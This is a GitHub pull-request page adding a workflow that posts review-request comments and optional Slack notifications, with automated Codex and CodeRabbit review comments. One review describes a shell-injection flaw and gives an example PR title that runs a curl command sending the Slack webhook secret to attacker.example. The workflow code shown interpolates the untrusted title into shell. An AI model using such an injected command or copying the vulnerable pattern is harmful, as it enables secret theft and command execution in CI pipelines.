Add GitHub Actions workflow for PR review notifications#22
Conversation
Automatically posts a review request comment when a PR is opened or marked ready for review. Optionally notifies Slack if SLACK_WEBHOOK_URL is configured as a repository variable. https://claude.ai/code/session_01Dbw7XrJ18xmhHingQ2P9VY
📝 WalkthroughWalkthroughA GitHub Actions workflow is added that automatically notifies reviewers when a pull request is opened or marked ready for review. The workflow posts a comment on the PR via GitHub API and optionally sends a notification to a Slack webhook if configured. ChangesPR Reviewer Notification Workflow
🎯 2 (Simple) | ⏱️ ~8 minutes 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: b8c2e63354
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| env: | ||
| SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }} | ||
| run: | | ||
| PR_TITLE="${{ github.event.pull_request.title }}" |
There was a problem hiding this comment.
Stop evaluating PR titles in the shell
When Slack notification is enabled, the PR title is attacker-controlled and is substituted into this run script before bash parses it. A title containing command substitution such as $(curl -d "$SLACK_WEBHOOK_URL" https://attacker.example) will execute during the assignment on every opened/ready PR, which can exfiltrate the Slack webhook and run arbitrary commands in the workflow context. Pass the title through a safe environment value or build the Slack request in github-script instead of interpolating it into shell source.
Useful? React with 👍 / 👎.
| --data "{ | ||
| \"text\": \"New PR ready for review: <${PR_URL}|${PR_TITLE}> by ${PR_AUTHOR}\" |
There was a problem hiding this comment.
JSON-escape the Slack payload fields
For Slack-enabled PRs, the payload is assembled by inserting the raw PR title into a JSON string. Titles containing a double quote, backslash, or newline produce invalid JSON, causing Slack to reject the notification for otherwise valid PRs; construct the payload with a JSON encoder such as jq or JSON.stringify before passing it to curl.
Useful? React with 👍 / 👎.
| - name: Notify Slack channel | ||
| if: vars.SLACK_WEBHOOK_URL != '' | ||
| env: | ||
| SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }} |
There was a problem hiding this comment.
Keep the Slack webhook out of repository variables
When Slack notifications are configured as described here, the incoming webhook URL is pulled from vars, which are plain repository configuration rather than masked secrets. A Slack webhook is a credential that can post into the channel, so storing it this way exposes the token value to workflows and anyone who can view repository variables; use secrets.SLACK_WEBHOOK_URL instead and keep the existing empty-check logic against the secret context.
Useful? React with 👍 / 👎.
| jobs: | ||
| notify-reviewers: |
There was a problem hiding this comment.
Grant the token permission to create the PR comment
In repositories or organizations where the default GITHUB_TOKEN permissions are restricted to read-only, this new workflow reaches issues.createComment without ever requesting issues: write, so the review notification fails with an authorization error instead of posting the comment. Add an explicit permissions block, as the existing workflow files do, before the job runs.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/pr-reviewer-notify.yml:
- Around line 47-51: Update the curl invocation used to POST Slack notifications
so the workflow step fails on HTTP 4xx/5xx: modify the existing curl command
that posts to "$SLACK_WEBHOOK_URL" (using PR_URL, PR_TITLE, PR_AUTHOR) to
include the --fail (or -f) flag and --show-error so curl returns a non‑zero exit
code on delivery errors and prints the server error; optionally add a timeout
like --max-time to avoid hanging.
- Around line 16-29: The YAML block under script: | is invalid because the
multiline JS template literal (the const comment = `...`) breaks the workflow
parsing; replace the template literal with a YAML-safe construction (e.g., build
the comment string via concatenation or an array join with '\n' instead of
backticks) and ensure the script block indentation remains consistent; update
the code that sets const comment (which references prTitle and prNumber) to
construct the same multiline message without using backtick-delimited template
literals so the GitHub Actions YAML parses correctly.
- Around line 39-42: Replace the use of vars.SLACK_WEBHOOK_URL with the masked
secret secrets.SLACK_WEBHOOK_URL: update the workflow conditional (currently
using if: vars.SLACK_WEBHOOK_URL != '') to check if: secrets.SLACK_WEBHOOK_URL
!= '' and change the env entry SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }}
to SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} so the webhook is stored
in GitHub Secrets while retaining the empty-string guard for forked PRs.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: ab2a103d-079f-4cca-b590-26885f48c762
📒 Files selected for processing (1)
.github/workflows/pr-reviewer-notify.yml
| script: | | ||
| const prNumber = context.payload.pull_request.number; | ||
| const prTitle = context.payload.pull_request.title; | ||
|
|
||
| const comment = `## Review Requested 🔍 | ||
|
|
||
| Hey team! This PR is ready for review. | ||
|
|
||
| **${prTitle}** | ||
|
|
||
| Please share your thoughts and feedback. Let's have a constructive discussion! | ||
|
|
||
| --- | ||
| *Automated by PR Reviewer Notification workflow*`; |
There was a problem hiding this comment.
Workflow file is syntactically invalid due to multiline string formatting.
Line 16 with script: | plus the current multiline template literal content (Lines 20-29) is causing YAML parse failure (as also flagged at Line 22/24), so this workflow won’t run at all.
Suggested fix
- const comment = `## Review Requested 🔍
-
-Hey team! This PR is ready for review.
-
-**${prTitle}**
-
-Please share your thoughts and feedback. Let's have a constructive discussion!
-
----
-*Automated by PR Reviewer Notification workflow*`;
+ const comment = [
+ "## Review Requested 🔍",
+ "",
+ "Hey team! This PR is ready for review.",
+ "",
+ `**${prTitle}**`,
+ "",
+ "Please share your thoughts and feedback. Let's have a constructive discussion!",
+ "",
+ "---",
+ "*Automated by PR Reviewer Notification workflow*",
+ ].join("\\n");🧰 Tools
🪛 actionlint (1.7.12)
[error] 22-22: could not parse as YAML: could not find expected ':'
(syntax-check)
🪛 YAMLlint (1.38.0)
[error] 24-24: syntax error: could not find expected ':'
(syntax)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/pr-reviewer-notify.yml around lines 16 - 29, The YAML
block under script: | is invalid because the multiline JS template literal (the
const comment = `...`) breaks the workflow parsing; replace the template literal
with a YAML-safe construction (e.g., build the comment string via concatenation
or an array join with '\n' instead of backticks) and ensure the script block
indentation remains consistent; update the code that sets const comment (which
references prTitle and prNumber) to construct the same multiline message without
using backtick-delimited template literals so the GitHub Actions YAML parses
correctly.
| if: vars.SLACK_WEBHOOK_URL != '' | ||
| env: | ||
| SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }} | ||
| run: | |
There was a problem hiding this comment.
Use secrets.SLACK_WEBHOOK_URL instead of vars.SLACK_WEBHOOK_URL for the Slack webhook
Store the webhook URL in secrets so it’s treated as sensitive (masked) rather than like a plain variable. Also ensure the workflow tolerates the case where secrets aren’t available (e.g., forked pull_request workflows); the existing empty-string guard covers that.
File: .github/workflows/pr-reviewer-notify.yml (lines 39-42)
Suggested fix
- if: vars.SLACK_WEBHOOK_URL != ''
+ if: secrets.SLACK_WEBHOOK_URL != ''
env:
- SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }}
+ SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if: vars.SLACK_WEBHOOK_URL != '' | |
| env: | |
| SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }} | |
| run: | | |
| if: secrets.SLACK_WEBHOOK_URL != '' | |
| env: | |
| SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} | |
| run: | |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/pr-reviewer-notify.yml around lines 39 - 42, Replace the
use of vars.SLACK_WEBHOOK_URL with the masked secret secrets.SLACK_WEBHOOK_URL:
update the workflow conditional (currently using if: vars.SLACK_WEBHOOK_URL !=
'') to check if: secrets.SLACK_WEBHOOK_URL != '' and change the env entry
SLACK_WEBHOOK_URL: ${{ vars.SLACK_WEBHOOK_URL }} to SLACK_WEBHOOK_URL: ${{
secrets.SLACK_WEBHOOK_URL }} so the webhook is stored in GitHub Secrets while
retaining the empty-string guard for forked PRs.
| curl -X POST -H 'Content-type: application/json' \ | ||
| --data "{ | ||
| \"text\": \"New PR ready for review: <${PR_URL}|${PR_TITLE}> by ${PR_AUTHOR}\" | ||
| }" \ | ||
| "$SLACK_WEBHOOK_URL" |
There was a problem hiding this comment.
Harden Slack POST to fail fast on delivery errors.
Line 47 curl currently won’t fail the step on HTTP 4xx/5xx by default, so broken notifications may go unnoticed.
Suggested fix
- curl -X POST -H 'Content-type: application/json' \
+ curl --fail --show-error --silent --max-time 10 -X POST -H 'Content-type: application/json' \
--data "{
\"text\": \"New PR ready for review: <${PR_URL}|${PR_TITLE}> by ${PR_AUTHOR}\"
}" \
"$SLACK_WEBHOOK_URL"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| curl -X POST -H 'Content-type: application/json' \ | |
| --data "{ | |
| \"text\": \"New PR ready for review: <${PR_URL}|${PR_TITLE}> by ${PR_AUTHOR}\" | |
| }" \ | |
| "$SLACK_WEBHOOK_URL" | |
| curl --fail --show-error --silent --max-time 10 -X POST -H 'Content-type: application/json' \ | |
| --data "{ | |
| \"text\": \"New PR ready for review: <${PR_URL}|${PR_TITLE}> by ${PR_AUTHOR}\" | |
| }" \ | |
| "$SLACK_WEBHOOK_URL" |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/pr-reviewer-notify.yml around lines 47 - 51, Update the
curl invocation used to POST Slack notifications so the workflow step fails on
HTTP 4xx/5xx: modify the existing curl command that posts to
"$SLACK_WEBHOOK_URL" (using PR_URL, PR_TITLE, PR_AUTHOR) to include the --fail
(or -f) flag and --show-error so curl returns a non‑zero exit code on delivery
errors and prints the server error; optionally add a timeout like --max-time to
avoid hanging.
Summary
SLACK_WEBHOOK_URLrepository variable is configuredTest plan
SLACK_WEBHOOK_URLto test Slack integrationSlack thread
https://claude.ai/code/session_01Dbw7XrJ18xmhHingQ2P9VY
Generated by Claude Code
Summary by CodeRabbit